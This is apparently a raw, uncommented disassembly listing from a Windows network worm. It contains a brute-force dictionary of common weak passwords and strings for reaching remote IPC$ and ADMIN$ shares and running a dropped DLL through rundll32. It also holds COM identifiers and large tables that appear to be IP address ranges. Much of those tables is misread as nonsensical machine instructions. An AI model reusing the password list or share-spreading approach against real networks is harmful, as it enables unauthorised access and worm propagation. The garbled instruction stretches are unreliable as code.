aFoobar		db 'foobar',0           ; DATA XREF: .text:009BA0ECo
		align 4
aFoofoo		db 'foofoo',0           ; DATA XREF: .text:009BA0E8o
		align 4
aTemptemp	db 'temptemp',0         ; DATA XREF: .text:009BA0E4o
		align 10h
aTemp		db 'temp',0             ; DATA XREF: .text:009BA0E0o
		align 4
aTesttest	db 'testtest',0         ; DATA XREF: .text:009BA0DCo
		align 4
aTest		db 'test',0             ; DATA XREF: .text:009BA0D8o
		align 4
aRootroot	db 'rootroot',0         ; DATA XREF: .text:009BA0D4o
		align 4
aRoot		db 'root',0             ; DATA XREF: .text:009BA0D0o
		align 10h
aAdminadmin	db 'adminadmin',0       ; DATA XREF: .text:009BA0CCo
		align 4
aMypassword	db 'mypassword',0       ; DATA XREF: .text:009BA0C8o
		align 4
aMypass		db 'mypass',0           ; DATA XREF: .text:009BA0C4o
		align 10h
aPass		db 'pass',0             ; DATA XREF: .text:009BA0C0o
		align 4
aLogin		db 'Login',0            ; DATA XREF: .text:009BA0BCo
		align 10h
aLogin_0	db 'login',0            ; DATA XREF: .text:009BA0B8o
		align 4
aPassword	db 'Password',0         ; DATA XREF: .text:009BA0B4o
		align 4
aPassword_0	db 'password',0         ; DATA XREF: .text:009BA0B0o
		align 10h
aPasswd		db 'passwd',0           ; DATA XREF: .text:009BA0ACo
		align 4
aZxcvbn		db 'zxcvbn',0           ; DATA XREF: .text:009BA0A8o
		align 10h
aZxcvb		db 'zxcvb',0            ; DATA XREF: .text:009BA0A4o
		align 4
aZxccxz		db 'zxccxz',0           ; DATA XREF: .text:009BA0A0o
		align 10h
aZxcxz		db 'zxcxz',0            ; DATA XREF: .text:009BA09Co
		align 4
aQazwsxedc	db 'qazwsxedc',0        ; DATA XREF: .text:009BA098o
		align 4
aQazwsx		db 'qazwsx',0           ; DATA XREF: .text:009BA094o
		align 4
aQ1w2e3		db 'q1w2e3',0           ; DATA XREF: .text:009BA090o
		align 4
aQweasdzxc	db 'qweasdzxc',0        ; DATA XREF: .text:009BA08Co
		align 10h
aAsdfgh		db 'asdfgh',0           ; DATA XREF: .text:009BA088o
		align 4
aAsdzxc		db 'asdzxc',0           ; DATA XREF: .text:009BA084o
		align 10h
aAsddsa		db 'asddsa',0           ; DATA XREF: .text:009BA080o
		align 4
aAsdsa		db 'asdsa',0            ; DATA XREF: .text:009BA07Co
		align 10h
aQweasd		db 'qweasd',0           ; DATA XREF: .text:009BA078o
		align 4
aQwerty		db 'qwerty',0           ; DATA XREF: .text:009BA074o
		align 10h
aQweewq		db 'qweewq',0           ; DATA XREF: .text:009BA070o
		align 4
aQwewq		db 'qwewq',0            ; DATA XREF: .text:009BA06Co
		align 10h
aNimda		db 'nimda',0            ; DATA XREF: .text:009BA068o
		align 4
aAdministrator	db 'administrator',0    ; DATA XREF: .text:009BA064o
		align 4
aAdmin		db 'Admin',0            ; DATA XREF: .text:009BA060o
		align 10h
aAdmin_0	db 'admin',0            ; DATA XREF: .text:009BA05Co
		align 4
aA1b2c3		db 'a1b2c3',0           ; DATA XREF: .text:009BA058o
		align 10h
a1q2w3e		db '1q2w3e',0           ; DATA XREF: .text:009BA054o
		align 4
a1234qwer	db '1234qwer',0         ; DATA XREF: .text:009BA050o
		align 4
a1234abcd	db '1234abcd',0         ; DATA XREF: .text:009BA04Co
		align 10h
a123asd		db '123asd',0           ; DATA XREF: .text:009BA048o
		align 4
a123qwe		db '123qwe',0           ; DATA XREF: .text:009BA044o
		align 10h
a123abc		db '123abc',0           ; DATA XREF: .text:009BA040o
		align 4
a123321		db '123321',0           ; DATA XREF: .text:009BA03Co
		align 10h
a12321		db '12321',0            ; DATA XREF: .text:009BA038o
		align 4
a123123		db '123123',0           ; DATA XREF: .text:009BA034o
		align 10h
a1234567890	db '1234567890',0       ; DATA XREF: .text:009BA030o
		align 4
a123456789	db '123456789',0        ; DATA XREF: .text:009BA02Co
		align 4
a12345678	db '12345678',0         ; DATA XREF: .text:009BA028o
		align 4
a1234567	db '1234567',0          ; DATA XREF: .text:009BA024o
a123456		db '123456',0           ; DATA XREF: .text:009BA020o
		align 4
a12345		db '12345',0            ; DATA XREF: .text:009BA01Co
		align 4
a1234		db '1234',0             ; DATA XREF: .text:009BA018o
		align 4
a123		db '123',0              ; DATA XREF: .text:009BA014o
; wchar_t aSIpc
aSIpc:					; DATA XREF: sub_9A926F+12o
					; sub_9A92AE+13o
		unicode	0, <\\%s\IPC$>,0
; wchar_t Str
Str		dw 0			; DATA XREF: sub_9A92AE+54o
					; sub_9AE195+1F4o
		align 10h
; wchar_t aS
aS:					; DATA XREF: sub_9A9318+249o
		unicode	0, <\\%s>,0
		align 4
; wchar_t aRundll32_exeSS
aRundll32_exeSS:			; DATA XREF: sub_9A9318+230o
		unicode	0, <rundll32.exe %s,%s>,0
		align 4
; wchar_t aSAdminSystem32
aSAdminSystem32:			; DATA XREF: sub_9A9318+102o
					; sub_9A9318+118o
		unicode	0, <\\%s\ADMIN$\System32\%s>,0
; wchar_t Str2
Str2:					; DATA XREF: sub_9A9318+C2o
					; sub_9A9318+E7o
		unicode	0, <dll>,0
; wchar_t a_
a_:					; DATA XREF: sub_9A9318+8Fo
		unicode	0, <.>,0
dword_9A2F60	dd 0C08956A1h, 11D11CD3h, 8000C5B1h, 0E27C15Fh ; DATA XREF: sub_9A9A64+8Do
dword_9A2F70	dd 20404h, 0		; DATA XREF: sub_9A9A64+3Eo
		dd 0C0h, 46000000h
; IID rclsid
rclsid		dd 5C63C1ADh		; Data1	; DATA XREF: sub_9A9C0D+49o
		dw 3956h		; Data2
		dw 4FF8h		; Data3
		db 84h,	86h, 40h, 3, 47h, 58h, 31h, 5Bh; Data4
; IID riid
riid		dd 0C08956B7h		; Data1	; DATA XREF: sub_9A9C0D+41o
		dw 1CD3h		; Data2
		dw 11D1h		; Data3
		db 0B1h, 0C5h, 0, 80h, 5Fh, 0C1h, 27h, 0Eh; Data4
stru_9A2FA0	_msEH <0FFFFFFFFh, offset loc_9A9C7F, offset loc_9A9C83>
					; DATA XREF: sub_9A9C0D+2o
		align 10h
dword_9A2FB0	dd 510CDD60h		; DATA XREF: sub_9A9DA6:loc_9A9DC3r
dword_9A2FB4	dd 510CDD7Fh		; DATA XREF: sub_9A9DA6+25r
		db    0
		db 68h,	0C7h, 5Bh
; ---------------------------------------------------------------------------
		jmp	fword ptr [eax-39h]
; ---------------------------------------------------------------------------
		db 5Bh
		db    0
		db 0D1h, 58h, 0C0h
		db 0FFh
		db 0D1h, 58h, 0C0h
		db    0
		db 58h,	0F2h, 0CFh
		db 0FFh
		db 58h,	0F2h, 0CFh
		db 0C0h	; À
		db 2Bh,	2Ah, 0Ch
		db 0C7h	; Ç
		db 2Bh,	2Ah, 0Ch
		db    0
		db 0B5h, 84h, 43h
		db 0FFh
		db 0B5h, 84h, 43h
		db    0
		db 34h,	77h, 42h
		db 0FFh
		db 34h,	77h, 42h
		db    0
		db 0C4h, 17h, 0D0h
		db  7Fh	; 
		db 0C4h, 17h, 0D0h
		db    0
		align 2
		retf	0FF8Dh
; ---------------------------------------------------------------------------
		db 0FFh, 0CAh, 8Dh
		db    0
		align 2
		dw 8277h
		db 0FFh
		db 0FFh, 77h, 82h
		db    0
		align 2
		dw 8A2Ah
		db 0FFh
; ---------------------------------------------------------------------------
		jmp	fword ptr [edx]
; ---------------------------------------------------------------------------
		db 8Ah
		db    0
		align 2
		dw 82C8h
		db 0FFh
		db 0FFh, 0C8h, 82h
		db    0
		align 2
		dw 9B23h
		db 0FFh
; ---------------------------------------------------------------------------
		jmp	dword ptr [ebx]
; ---------------------------------------------------------------------------
		db 9Bh
		db    0
		db 0A7h, 0A6h, 0CDh
; ---------------------------------------------------------------------------
		jmp	dword ptr [edi+3900CDA6h]
; ---------------------------------------------------------------------------
		dw 0D0D4h
		db 0FFh
		db 39h,	0D4h, 0D0h
		db    0
		db 98h,	0D4h, 0D0h
		db 0FFh
		db 9Bh,	0D4h, 0D0h
		db    0
		db 40h,	0F2h, 0D0h
		db 0FFh
		db 41h,	0F2h, 0D0h
		db    0
		db 85h,	0F3h, 0D0h
		db  1Fh
		db 85h,	0F3h, 0D0h
		db  80h	; €
		db 0E7h, 0F5h, 0D0h
		db  9Fh	; Ÿ
		db 0E7h, 0F5h, 0D0h
aPAPASp?Sp?	db 'ÀØAßØAÀ™p?Ï™p?',0
		db 0DAh, 7Dh, 3Fh
		db 0FFh
		db 0DAh, 7Dh, 3Fh
		db  80h	; €
		db 3Dh,	0D2h, 41h
		db 0BFh	; ¿
		db 3Dh,	0D2h, 41h
		db  40h	; @
		db 2Dh,	0CEh, 41h
		db  7Fh	; 
; ---------------------------------------------------------------------------
		sub	eax, 0E0041CEh
		test	byte ptr [ecx-1], 0Eh
		test	byte ptr [ecx+0], 28h
		jbe	short loc_9A30BB
		jmp	fword ptr [ecx]
; ---------------------------------------------------------------------------
		dw 3F76h
		dd 3F763400h, 3F7637FFh, 41C8A5C8h, 41C8A5CFh, 0D0FD98D0h
		dd 0D0FD98DFh, 0D0FFD858h, 0D0FFD85Fh, 0CEBC0E80h, 0CEBC0EBFh
		dd 0CEBC0EC0h, 0CEBC0EFFh, 41D8F660h, 41D8F667h
byte_9A30B8	db 80h,	53h, 11h	; CODE XREF: .text:009A30EAj
; ---------------------------------------------------------------------------


loc_9A30BB:				; CODE XREF: .text:009A307Aj
		int	3		; Trap to Debugger


loc_9A30BC:				; CODE XREF: .text:009A30EEj
		mov	edi, 0CC1153h
		mov	dh, 0E8h
		sar	bh, 1
		mov	dh, 0E8h
		rol	byte ptr [eax-2F17A9h],	1
		push	edi
		call	near ptr 20A189A3h
		dec	eax
		pop	edi
		pop	es
		and	[eax-28h], cl
		mov	esi, 0BEDF45E1h
		loope	near ptr loc_9A3120+5
		pusha
		pop	ss
		out	45h, al
		db	67h
		pop	ss
		out	45h, al
		pusha
		pop	ss
		jbe	short near ptr byte_9A30B8
		jg	short loc_9A3105
		jbe	short loc_9A30BC
		add	ah, dl
		enter	0FFFFFF41h, 0D4h
		enter	41h, 91h
; ---------------------------------------------------------------------------
		dw 0C162h
; ---------------------------------------------------------------------------
		call	dword ptr [ecx-75EF3E9Eh]
		pop	ss
		aam	1Fh


loc_9A3105:				; CODE XREF: .text:009A30ECj
		mov	dl, [edi]
		aam	48h
		nop
		out	dx, eax
		push	eax
		dec	edi
		nop
		out	dx, eax
		push	eax
		call	near ptr 0F06F314Dh
		cmp	[eax], al
		aad	90h
		imul	eax, [eax], -2Bh
		xchg	eax, edi
		imul	eax, [eax], -2Bh


loc_9A3120:				; CODE XREF: .text:009A30DEj
		shr	byte ptr ds:0B52CC70Ch[esi*4], 0Ch
		mov	al, 1Dh
		mov	eax, 0B81DBF0Ch
		or	al, 0
		cmp	byte ptr [ebx-447F0040h], 0C0h
		add	[eax-7F003F45h], al
		mov	ebx, 2417B0C0h
		or	al, 0BFh
		pop	ss
		and	al, 0Ch
		add	[esi], ah
		cwde
		or	al, 7Fh
		db	26h
		cwde
		or	al, 30h
		mov	dword ptr [ecx], 29C73740h
		inc	eax
		add	[edi-6800BFD7h], dl


loc_9A315E:				; CODE XREF: .text:009A31D0j
		sub	[eax-18h], eax
		test	al, 29h		; CODE XREF: .text:009A31D4j
		inc	eax
		out	dx, eax
		test	al, 29h
		inc	eax
		xor	al, ch
		pop	es
		sar	byte ptr [edi],	1
		call	near ptr 461B0179h
		bound	eax, [ebx-61h]
		inc	ebp
		bound	eax, [ebx+40h]
		dec	eax
		bound	eax, [ebx+5Fh]
		dec	eax
		bound	eax, [ebx-60h]
		xchg	eax, ebp
		pop	edx
		aas
		mov	edi, 3F5A95h
		push	eax
		popa
		inc	ebx
		call	dword ptr [ecx+61h]
		inc	ebx
		inc	eax
		adc	eax, 157F41D8h
		fadd	dword ptr [ecx-70h]
		cmp	edx, esi
		dec	eax
		xchg	eax, edi
		cmp	edx, esi	; CODE XREF: .text:009A31C1j
		dec	eax
		and	[eax+58h], ch	; CODE XREF: .text:009A31C5j
		inc	esp
		daa
		push	0F2C04458h
		mov	[ebx-39h], ah
		repne mov [ebx-28h], ah
		push	edx
		pop	ecx
		inc	esp
		fist	word ptr [edx+59h]
		inc	esp
		add	[ecx], al
		push	esp
		fdivr	st, st(7)
		add	[eax+ebx*8+48h], edx
		jno	short near ptr loc_9A319D+1
		inc	ebp
		dec	edi
		jno	short near ptr loc_9A31A0+2
		inc	ebp
		adc	byte ptr ds:3514874Bh[esi], 4Bh
		jo	short loc_9A315E
		pop	ebp
		inc	edx
		ja	short near ptr loc_9A3161+1
		pop	ebp
		inc	edx
		rcl	byte ptr [esi],	5Ch
		inc	edx
		iret
; ---------------------------------------------------------------------------
		db 16h,	5Ch, 42h
		db 0A0h	;  
		db 0E8h, 41h, 3Fh
		db 0AFh	; ¯
		db 0E8h, 41h, 3Fh
		db 90h
		db 0E8h, 41h, 3Fh
		db  97h	; —
		db 0E8h, 41h, 3Fh
		db  30h	; 0
		db 3Ch,	48h, 44h
		db  37h	; 7
		db 3Ch,	48h, 44h
		db  80h	; €
		db 95h,	5Ah, 3Fh
		db  9Fh	; Ÿ
		db 95h,	5Ah, 3Fh
		db  70h	; p
		db 5Dh,	41h, 3Fh
		db  7Fh	; 
		db 5Dh,	41h, 3Fh
		db    0
		db 5Eh,	41h, 3Fh
		db  0Fh
aA?A?oA?A?A?	db '^A?`^A?o^A?(ܼÐ/ܼÐÐ^A?ß^A?',0
		db 46h,	8Fh, 0D8h
		db 0FFh
		db 47h,	8Fh, 0D8h
		db 0B0h	; °
		db 97h,	0E1h, 46h
		db 0B7h	; ·
		db 97h,	0E1h, 46h
		db    0
		align 2
		dw 836Bh
		db 0FFh
; ---------------------------------------------------------------------------
		jmp	fword ptr [ebx-7Dh]
; ---------------------------------------------------------------------------
		db    0
		db 5Ah,	5Ch, 0C0h
		db 0FFh
		db 5Ah,	5Ch, 0C0h
		db    0
		db 0E8h, 69h, 0C6h
		db 0FFh
; ---------------------------------------------------------------------------
		jmp	short loc_9A32B8
; ---------------------------------------------------------------------------
		db 0C6h
		dd 0CCE73A00h, 0CCE73AFFh, 0CC8C4D00h, 0CC8C4DFFh, 0CC8C5000h
		dd 0CC8C53FFh, 0C73C1C00h, 0C73C1CFFh, 0C7675A00h, 0C7675BFFh
		dd 0C7677A00h, 0C7677AFFh, 0CC4F6500h, 0CC4F65FFh, 0C0ED4300h
		dd 0C0ED43FFh, 0C6896100h, 0C68961FFh, 0CC4F8700h, 0CC4F87FFh
		dd 0CC4FB300h, 0CC4FB3FFh, 0CC4FB400h, 0CC4FB5FFh, 0CC4FBC00h
		dd 0CC4FBCFFh
; ---------------------------------------------------------------------------


loc_9A32B8:				; CODE XREF: .text:009A324Dj
		add	bl, al
		dec	edi
		int	3		; Trap to Debugger
		inc	ebp
		dec	edi
		int	3		; Trap to Debugger
		add	[esi+eax-39h], bl
		call	fword ptr [esi+6]
		mov	dword ptr [eax], 0FFCC4F07h
		pop	es
		dec	edi
		int	3		; Trap to Debugger
		add	[ebx], bl
		dec	edi
		int	3		; Trap to Debugger
		call	fword ptr [ebx]
		dec	edi
		int	3		; Trap to Debugger
		add	[edx-4Ch], cl
		mov	bh, 4Bh
		mov	ah, 0C6h
		add	[edi-4Ch], bl
		mov	bh, 61h
		mov	ah, 0C6h
		add	ah, ch
		out	0CCh, eax	; DMA controller, 8237A-5.
					; clear	byte pointer flip-flop.
; ---------------------------------------------------------------------------
		db 0FFh
		db 0ECh, 0E7h, 0CCh
		db    0
		db 0Ah,	0F8h, 0CDh
		db 0FFh
		db 0Fh,	0F8h, 0CDh
		db    0
		db 3Fh,	0A3h, 0CDh
		db 0FFh
		db 3Fh,	0A3h, 0CDh
		db    0
		db 3Eh,	0A3h, 0CDh
		db 0FFh
		db 3Eh,	0A3h, 0CDh
		db    0
		align 2
		dw 0CDA3h
		db 0FFh
		db 9Fh,	0A3h, 0CDh
		db    0
		db 29h,	0F8h, 0CDh
; ---------------------------------------------------------------------------
		jmp	fword ptr [ebx]
; ---------------------------------------------------------------------------
		dw 0CDF8h
		db    0
		db 32h,	0F8h, 0CDh
		db 0FFh
		db 33h,	0F8h, 0CDh
		db    0
		db 3Dh,	0F8h, 0CDh
		db 0FFh
		db 3Fh,	0F8h, 0CDh
		db    0
		db 48h,	0F8h, 0CDh
		db 0FFh
		db 48h,	0F8h, 0CDh
		db    0
		db 0D4h, 0F8h, 0CDh
		db 0FFh
		db 0D7h, 0F8h, 0CDh
		db    0
		db 0E4h, 0F8h, 0CDh
; ---------------------------------------------------------------------------
		jmp	esp
; ---------------------------------------------------------------------------
		dw 0CDF8h
		db    0
		db 0EBh, 0F8h, 0CDh
		db 0FFh
		db 0EBh, 0F8h, 0CDh
		db    0
		db 4Ch,	0E7h, 0CCh
		db 0FFh
		db 4Ch,	0E7h, 0CCh
		db    0
		db 0C0h, 0E7h, 0CCh
		db 0FFh
		db 0C0h, 0E7h, 0CCh
		db    0
; ---------------------------------------------------------------------------
		retn	0CCE7h
; ---------------------------------------------------------------------------
		db 0FFh
		db 0DFh, 0E7h, 0CCh
		db    0
		db 50h,	4Eh, 0CFh
		db 0FFh
		db 50h,	4Eh, 0CFh
		db    0
		db 51h,	4Eh, 0CFh
		db 0FFh
		db 51h,	4Eh, 0CFh
		db    0
		db 52h,	4Eh, 0CFh
		db 0FFh
		db 52h,	4Eh, 0CFh
		db    0
		db 0F3h, 0F8h, 0CDh
		db 0FFh
		db 0F4h, 0F8h, 0CDh
		db    0
		db 3, 75h, 0CFh
		db 0FFh
		db 3, 75h, 0CFh
		db    0
		db 75h,	12h, 0CFh
		db 0FFh
		db 75h,	12h, 0CFh
		db    0
; ---------------------------------------------------------------------------
		sbb	ecx, [ebx-74E40030h]
		rol	byte ptr [eax],	1
		aad	1Ch
		sar	edi, 1
		aad	1Ch
		rol	dword ptr [eax], 1
		inc	esp
		ror	edi, 1
		inc	dword ptr [ecx+edx*8-31h]
		add	[eax+5Fh], ah
		int	3		; Trap to Debugger
		jmp	fword ptr [edi+5Fh]
; ---------------------------------------------------------------------------
		align 10h
		db 0C0h	; À
		db 5Dh,	9Eh, 0CFh
		db 0DFh	; ß
		db 5Dh,	9Eh, 0CFh
		db 0C0h	; À
		db 7Bh,	0F0h, 0CFh
		db 0DFh	; ß
		db 7Bh,	0F0h, 0CFh
		db    0
		db 0CDh, 1Ah, 0D0h
		db 0FFh
		db 0CDh, 1Ah, 0D0h
		db    0
		db 9Dh,	0C5h, 0C0h
; ---------------------------------------------------------------------------
		call	fword ptr [ebp-18FF3F3Bh]
		test	ecx, esp
		jmp	edi
; ---------------------------------------------------------------------------
		dw 0CC85h
		db    0
		db 60h,	48h, 0D8h
; ---------------------------------------------------------------------------
		jmp	dword ptr [ebx+48h]
; ---------------------------------------------------------------------------
		db 0D8h
		db  98h	; ˜
		db 0A6h, 0E5h, 0CFh
		db  9Fh	; Ÿ
		db 0A6h, 0E5h, 0CFh
		db    0
; ---------------------------------------------------------------------------
		xchg	eax, ebp
		pop	edi
		int	3		; Trap to Debugger
		call	dword ptr [ebp-2AB733A1h]
		rcl	cl, 4Fh
		aad	0C0h
		rol	dword ptr [eax], 1
		retf
; ---------------------------------------------------------------------------
		dw 0CE49h
		db 0FFh
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		dw 0CE49h
		db    0
		db 76h,	49h, 0CEh
		db 0FFh
		db 76h,	49h, 0CEh
		db  10h
		db 36h,	2Dh, 0D0h
		db  17h
		db 36h,	2Dh, 0D0h
		db    8
		db 36h,	2Dh, 0D0h
		db  0Fh
		db 36h,	2Dh, 0D0h
		db    0
		db 1Fh,	49h, 0CEh
		db 0FFh
		db 1Fh,	49h, 0CEh
		db  80h	; €
		db 32h,	0A1h, 3Fh
		db 0FFh
		db 32h,	0A1h, 3Fh
		db    0
		db 32h,	0A1h, 3Fh
		db  7Fh	; 
		db 32h,	0A1h, 3Fh
		db 0E0h	; à
		db 8, 0F0h, 0CFh
dword_9A3434	dd 0CFF008EFh, 9D360000h, 9D3CFFFFh, 0D02D59F8h, 0D02D59FFh
		dd 0CEB64500h, 0CEB645FFh, 0CEB6F000h, 0CEB6F0FFh, 0CEB6F100h
		dd 0CEB6F1FFh, 0CE494300h, 0CE4943FFh, 0CEB6FB00h, 0CEB6FBFFh
		dd 0CEB6F700h, 0CEB6F7FFh, 0CEB6EC00h, 0CEB6ECFFh, 3FECC640h
		dd 3FECC647h, 3FECC698h, 3FECC69Fh, 0A579FDE8h,	0A579FDEFh
		dd 3FECAA40h, 3FECAA47h, 3FECBA40h, 3FECBA47h, 3FECBB68h
		dd 3FECBB6Fh, 3FECBB80h, 3FECBB87h, 3FECBBA0h, 3FECBBA7h
		dd 0C7028900h, 0C70289FFh, 0D8DE68E0h, 0D8DE68EFh, 3F975740h
		dd 3F975747h, 404D5260h, 404D5267h, 404D5D50h, 404D5D5Fh
		dd 41340000h, 4137FFFFh, 0CF2E0000h, 0CF2EFFFFh, 836B0000h
		dd 836BFFFFh, 0CF448000h, 0CF44CFFFh, 0CCB69000h, 0CCB69FFFh
		dd 0CE6B2200h, 0CE6B22FFh, 0CDF09E00h, 0CDF09FFFh, 0CC4FFC00h
		dd 0CC4FFCFFh, 40C8D310h, 40C8D31Fh, 0CB2A300h,	0CB2A31Fh
		dd 452C7E50h, 452C7E5Fh, 3FAD2A80h, 3FAD2AFFh, 0C1C6C00h
		dd 0C1C6C7Fh, 41AA1D00h, 41AA1D07h, 43848560h, 43848567h
		dd 806B000h, 806B0FFh, 0CDF85000h, 0CDF881FFh, 3F947BF0h
		dd 3F947BF7h, 4029C100h, 4029C1FFh, 40554620h, 4055462Fh
		dd 40555160h, 40555167h, 40555168h, 4055516Fh, 0D820A8E0h
		dd 0D820A8FFh, 0CE4F4A20h, 0CE4F4A2Fh, 0D820AFE0h, 0D820AFFFh
		dd 0D820B400h, 0D820B7FFh, 0D821E5E0h, 0D821E5FFh, 0D821EC00h
		dd 0D821EFFFh, 0D821F000h, 0D821F3FFh, 0D820F000h, 0D820F3FFh
		dd 0D8223300h, 0D82233FFh, 0D1017000h, 0D10170FFh, 0D1017100h
		dd 0D10171FFh, 0D1010F00h, 0D1010FFFh, 0D82235B0h, 0D82235BFh
		dd 0D82308E0h, 0D82308EFh, 0D1B98000h, 0D1B983FFh, 4172AF80h
		dd 4172AF9Fh, 400FE560h, 400FE57Fh, 400FB100h, 400FB1FFh
		dd 400FAAC0h, 400FAAC7h, 0D18FEE00h, 0D18FEEFFh, 400FB200h
		dd 400FB2FFh, 4223D178h, 4223D17Fh, 4223D380h, 4223D3BFh
		dd 4223D030h, 4223D03Fh, 0D8219400h, 0D82197FFh, 0D8234258h
		dd 0D823425Fh, 0CE620A0h, 0CE620A7h, 0C357C00h,	0C357C1Fh
		dd 0CE81260h, 0CE8127Fh, 0CBE9E00h, 0CBE9EFFh, 0C47C420h
		dd 0C47C42Fh, 0D1F0C000h, 0D1F0DFFFh, 46250000h, 4625BFFFh
		dd 0C3157C0h, 0C3157FFh, 4A5DCD90h, 4A5DCD97h, 4A5DCD98h
		dd 4A5DCD9Fh, 4A5DCE40h, 4A5DCE47h, 46598B78h, 46598B7Fh
		dd 0CE477700h, 0CE4777FFh, 0CE477500h, 0CE4775FFh, 0CE477600h
		dd 0CE4776FFh, 0D19A9B70h, 0D19A9B77h, 41443E98h, 41443E9Fh
		dd 4327D0A8h, 4327D0AFh, 41F24300h, 41F243FFh, 0CC47BF00h
		dd 0CC47BFFFh, 3FC29B90h, 3FC29B97h, 428855C0h,	428855C7h
		dd 407CB848h, 407CB84Fh, 0D8C8CE00h, 0D8C8CEFFh, 3F505D00h
		dd 3F505D7Fh, 43C0E1D0h, 43C0E1DFh, 454AA200h, 454AA2FFh
		dd 41DD0500h, 41DD05FFh, 4A5DCD90h, 4A5DCD97h, 4A5DCD98h
		dd 4A5DCD9Fh, 4A5DCE40h, 4A5DCE47h, 46598B78h, 46598B7Fh
		dd 41F85500h, 41F855FFh, 0C7F39DC0h, 0C7F39DDFh, 0C7F39D70h
		dd 0C7F39D77h, 41C2D2E0h, 41C2D2FFh, 0D0C28B00h, 0D0C28BFFh
		dd 0D0CC3180h, 0D0CC31FFh, 0D0CD1A00h, 0D0CD1AFFh, 0D0D9B800h
		dd 0D0D9BBFFh, 0D0DEAC00h, 0D0DEACFFh, 0D0E0C840h, 0D0E0C85Fh
		dd 0D0E56400h, 0D0E565FFh, 0D0F11300h, 0D0F1130Fh, 0D0F11310h
		dd 0D0F1131Fh, 0D0F109E0h, 0D0F109EFh, 0D0F46C00h, 0D0F46C0Fh
		dd 0D0F51000h, 0D0F5101Fh, 0D0F911A0h, 0D0F911AFh, 3F68D800h
		dd 3F68D87Fh, 3F45F500h, 3F45F5FFh, 445A8D48h, 445A8D4Fh
		dd 3FC67BA0h, 3FC67BA7h, 44F83040h, 44F83047h, 44F83048h
		dd 44F8304Fh, 633108F8h, 633108FFh, 4126AC48h, 4126AC4Fh
		dd 4126AC60h, 4126AC6Fh, 4B95AE10h, 4B95AE17h, 4B9764F0h
		dd 4B9764FFh, 40510860h, 4051087Fh, 4370FF90h, 4370FF97h
		dd 3FF0C9B0h, 3FF0C9BFh, 0CE10D1D0h, 0CE10D1DFh, 3FF0C3D0h
		dd 3FF0C3DFh, 0CE10CC40h, 0CE10CC4Fh, 0CE10DF00h, 0CE10DFFFh
		dd 3FF0D800h, 3FF0DBFFh, 3FF0DC00h, 3FF0DFFFh, 0CE10F618h
		dd 0CE10F61Fh, 3FF0C3C0h, 3FF0C3CFh, 0CE10E0A0h, 0CE10E0BFh
		dd 43C02730h, 43C0273Fh, 4820F0A0h, 4820F0AFh, 4820C998h
		dd 4820C99Fh, 43275198h, 4327519Fh, 45147F20h, 45147F27h
		dd 0D8341C00h, 0D8341CFFh, 462AE600h, 462AE7FFh, 3FFB6100h
		dd 3FFB61FFh, 43788480h, 43788487h, 43788498h, 4378849Fh
		dd 437884C0h, 437884CFh, 437884D0h, 437884DFh, 447B4F40h
		dd 447B4F4Fh, 447B4F30h, 447B4F37h, 447B4F50h, 447B4F5Fh
		dd 43762BE0h, 43762BE7h, 45E5D0E0h, 45E5D0E7h, 427A55C8h
		dd 427A55CFh, 3FC91248h, 3FC9124Fh, 4B27F490h, 4B27F497h
		dd 4B2071B8h, 4B2071BFh, 41DFC400h, 41DFC4FFh, 0D1F90B00h
		dd 0D1F90B0Fh, 43C0DEC0h, 43C0DECFh, 407C4410h,	407C441Fh
		dd 43C0A850h, 43C0A85Fh, 57EE3080h, 57EE308Fh, 42232000h
		dd 42233FFFh, 42232D00h, 42232DFFh, 0C72BB900h,	0C72BC2FFh
		dd 0C7557D00h, 0C7557FFFh, 0C6062000h, 0C6063FFFh, 0CCB26EE0h
		dd 0CCB26EFFh, 0D80AC000h, 0D80ACFFFh, 41796D00h, 41796DFFh
		dd 417D1D00h, 417D1D7Fh, 9B400000h, 9B40FFFFh, 0CECC0AC0h
		dd 0CECC0ADFh, 0D8FA1000h, 0D8FA1FFFh, 0D82389A0h, 0D82389BFh
		dd 0D8238980h, 0D823898Fh, 0D82389C0h, 0D82389FFh, 0C9B3AB0h
		dd 0C9B3ABFh, 0D15A70B0h, 0D15A70BFh, 427F41B8h, 427F41BFh
		dd 41431FB0h, 41431FB7h, 43625C00h, 43625CFFh, 4362DF00h
		dd 4362DFFFh, 4158B200h, 4158B2FFh, 43634B00h, 43634BFFh
		dd 43636900h, 4363691Fh, 41D3F300h, 41D3F37Fh, 4362E200h
		dd 4362E2FFh, 0D88E0C00h, 0D88E0C1Fh, 41587E00h, 41587E1Fh
		dd 415B9F60h, 415B9F7Fh, 415A2960h, 415A297Fh, 0CC109B20h
		dd 0CC109B3Fh, 0D1BEE510h, 0D1BEE51Fh, 0D1B7EB90h, 0D1B7EB9Fh
		dd 0D1B7F320h, 0D1B7F32Fh, 0D1B7C20Ch, 0D1B7C20Fh, 4799EF00h
		dd 4799EF07h, 4B0AF2A8h, 4B0AF2AFh, 4B362FB0h, 4B362FB7h
		dd 40AB7D80h, 40AB7D87h, 0D0C27400h, 0D0C274FFh, 0D0C29800h
		dd 0D0C298FFh, 0D0D5F200h, 0D0D5F2FFh, 4B0A4040h, 4B0A405Fh
		dd 41DEC000h, 41DEC0FFh, 628177A0h, 628177A7h, 424D8200h
		dd 424D8207h, 0D556AC80h, 0D556AC9Fh, 0D5F40A40h, 0D5F40A4Fh
		dd 48ECA780h, 48ECA79Fh, 403AB000h, 403AB0FFh, 0CAB9A90h
		dd 0CAB9A97h, 0D86F6C60h, 0D86F6C7Fh, 0CDA85560h, 0CDA8557Fh
		dd 3F97E940h, 3F97E95Fh, 3F95E4A0h, 3F95E4BFh, 3F95EE40h
		dd 3F95EE5Fh, 3F91F420h, 3F91F43Fh, 417AF100h, 417AF11Fh
		dd 42B45000h, 42B45FFFh, 0D8638000h, 0D8638FFFh, 0D8680000h
		dd 0D8681FFFh, 447EF7F8h, 447EF7FFh, 43420C80h,	43420C87h
		dd 40511080h, 4051109Fh, 9BD4F140h, 9BD4F147h, 9BD4E5C0h
		dd 9BD4E5DFh, 0D8291B08h, 0D8291B0Fh, 4AD38940h, 4AD3895Fh
		dd 4AD388A0h, 4AD388A7h, 4569B538h, 4569B53Fh, 428C29C0h
		dd 428C29C7h, 478A70C0h, 478A70DFh, 3FCBCA08h, 3FCBCA0Fh
		dd 45E20470h, 45E2047Fh, 4B0BFB80h, 4B0BFB9Fh, 4CE34298h
		dd 4CE3429Fh, 4CF9A800h, 4CF9A807h, 63929FC0h, 63929FC7h
		dd 43729888h, 4372988Fh, 41D09D10h, 41D09D1Fh, 41D6AC00h
